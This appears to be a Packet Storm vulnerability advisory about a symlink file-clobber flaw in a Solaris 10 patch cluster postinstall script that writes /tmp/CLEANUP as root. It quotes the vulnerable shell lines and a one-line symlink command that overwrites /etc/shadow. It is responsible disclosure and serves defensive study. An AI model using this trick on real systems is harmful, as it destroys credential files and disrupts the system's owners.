exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Solaris 10 Patch Cluster File Clobber

Solaris 10 Patch Cluster File Clobber
Posted Jun 19, 2013
Authored by Larry W. Cashdollar

Solaris 10 patch cluster suffers from a file clobber vulnerability in /tmp.

tags | exploit
systems | solaris
SHA-256 | 03794219b3e100fca16c556ac9f4ccfaad291a40205e4a5a016b11eca6895b3e

Solaris 10 Patch Cluster File Clobber

Change Mirror Download
File clobbering vulnerability in Solaris 10 patch cluster
3/27/2013
Larry W. Cashdollar
@_larry0

Hello,

The 147147-26 patch creates a CLEANUP file in /tmp that is vulnerable to symlink attacks:

The contents of the file created in /tmp are:

/sbin/sh:root@dev-unix-sec02# cat CLEANUP

EXISTING_FILE_PRESERVED: /var/run/.patchSafeMode/root/etc/security/audit_event /var/run/.patchSafeMode/root/etc/security/audit_event.new

EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/sendmail.cf /var/run/.patchSafeMode/root/etc/mail/sendmail.cf.old EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/submit.cf /var/run/.patchSafeMode/root/etc/mail/submit.cf.old

Sendmail has been upgraded to version 8.14.5 . After you reboot, you may want to run

/usr/sbin/check-hostname
and

/usr/sbin/check-permissions ALL

These two shell-scripts will check for common mis-configurations and recommend corrective action, or report if things are OK.

-rw-r--r-- 1 root other 662 Mar 27 13:03 CLEANUP

The vulnerable code can be found in ./SUNWsndmu/install/postinstall:

540 CLEANUP=/tmp/CLEANUP
541
542 if [ "x$UPDATE" = xyes ]; then

543 VERSION=`grep '^DZ' $PKG_INSTALL_ROOT/etc/mail/sendmail.cf | \
544 sed -e s/DZ//`
545 echo "\nSendmail has been upgraded to version $VERSION ." >>$CLE
ANUP
546 echo "After you reboot, you may want to run" >>$CLEANUP
547 echo "\t/usr/sbin/check-hostname" >>$CLEANUP
548 echo "and" >>$CLEANUP
549 echo "\t/usr/sbin/check-permissions ALL" >>$CLEANUP
550 echo "These two shell-scripts will check for common" >>$CLEANUP
551 echo "misconfigurations and recommend corrective" >>$CLEANUP
552 echo "action, or report if things are OK.\n" >>$CLEANUP

553 fi

A simple attack in /tmp can clobber /etc/shadow:

[/tmp $] ln -s /etc/shadow CLEANUP

Will over write the contents of /etc/shadow.

Oracle has been notified 3/27/2013 and they are working on a fix.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close